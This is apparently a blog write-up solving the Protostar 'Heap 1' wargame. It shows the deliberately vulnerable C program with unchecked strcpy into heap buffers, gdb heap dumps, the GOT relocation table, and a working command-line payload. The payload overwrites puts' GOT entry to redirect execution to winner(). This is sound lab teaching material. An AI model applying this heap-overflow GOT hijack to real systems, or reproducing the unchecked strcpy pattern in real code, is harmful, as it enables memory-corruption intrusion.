Friday, December 28, 2012

exploit-exercises Protostar: Heap 1

This is the write-up for heap 1 challenge of exploit-exercises' Protostar wargame. The source code of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
        int priority;
        char *name;
};

void winner()
{
        printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
        struct internet *i1, *i2, *i3;

        i1 = malloc(sizeof(struct internet));
        i1->priority = 1;
        i1->name = malloc(8);

        i2 = malloc(sizeof(struct internet));
        i2->priority = 2;
        i2->name = malloc(8);

        strcpy(i1->name, argv[1]);
        strcpy(i2->name, argv[2]);


        printf("and that's a wrap folks!\n");
}
The printf() in main() is actually optimized by the compiler into a puts(), as shown by the library call tracer utility.
user@protostar:~/heap1$ ltrace /opt/protostar/bin/heap1 1 2
__libc_start_main(0x80484b9, 3, 0xbffff874, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                                                      = 0x0804a008
malloc(8)                                                      = 0x0804a018
malloc(8)                                                      = 0x0804a028
malloc(8)                                                      = 0x0804a038
strcpy(0x0804a018, "1")                                        = 0x0804a018
strcpy(0x0804a038, "2")                                        = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                               = 25
+++ exited (status 25) +++
This will help us leveraging the GOT to exploit the challenge.
Anyway, running the program in gdb with AAAA and BBBB as arguments our heap is
laid out as follow before the second strcpy:
(gdb) x/20x 0x804a000
0x804a000:  0x00000000  0x00000011  0x00000001  0x0804a018
0x804a010:  0x00000000  0x00000011  0x41414141  0x00000000
0x804a020:  0x00000000  0x00000011  0x00000002  0x0804a038
0x804a030:  0x00000000  0x00000011  0x00000000  0x00000000
0x804a040:  0x00000000  0x00020fc1  0x00000000  0x00000000
And after the second strcpy:
(gdb) x/20x 0x804a000
0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
0x804a010:      0x00000000      0x00000011      0x41414141      0x00000000
0x804a020:      0x00000000      0x00000011      0x00000002      0x0804a038
0x804a030:      0x00000000      0x00000011      0x42424242      0x00000000
0x804a040:      0x00000000      0x00020fc1      0x00000000      0x00000000
To explain it further, the content of the heap at this point is:
(8 bytes) 0x804a000 i1-header
(4 bytes) 0x804a008 i1-priority
(4 bytes) 0x804a00c i1-name -----------------
(8 bytes) 0x804a010 i1-*name-header       |
(8 bytes) 0x804a018 i1-*name <-------------|
(8 bytes) 0x804a020 i2-header
(4 bytes) 0x804a028 i2-priority
(4 bytes) 0x804a02c i2-name -----------------
(8 bytes) 0x804a030 i2-*name-header       |
(8 bytes) 0x804a038 i2-*name <-------------|
The first strcpy() starts writing at 0x804a018, with no restrictions. This means that we can overwrite the value of i2-name at 0x804a02c (20 bytes offset) which originally contains 0x0804a038. The second strcpy() will thus, write the content of argv[2] to the memory address we overwrite in i2-name (20 bytes offset of argv[1]). Armed with arbitrary memory overwriting, we have a variety of target memory addresses to target that we can pick from.
One suitable is the Global Offset Table, and specifically the puts() library function which is called right after.
user@protostar:~/heap1$ objdump -R /opt/protostar/bin/heap1

/opt/protostar/bin/heap1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts
winner() is at 0x08048494 memory address.
user@protostar:~/heap1$ nm /opt/protostar/bin/heap1 | grep winner
08048494 T winner
Consequently, our payload will be then:
argv[1]: 20 bytes junk + location of puts in relocation symbol table
argv[2]: Address of winner()
This will write winner() address into the address of puts relocation symbol in the Global Offset Table.
user@protostar:~/heap1$ /opt/protostar/bin/heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1356733308

No comments:

Post a Comment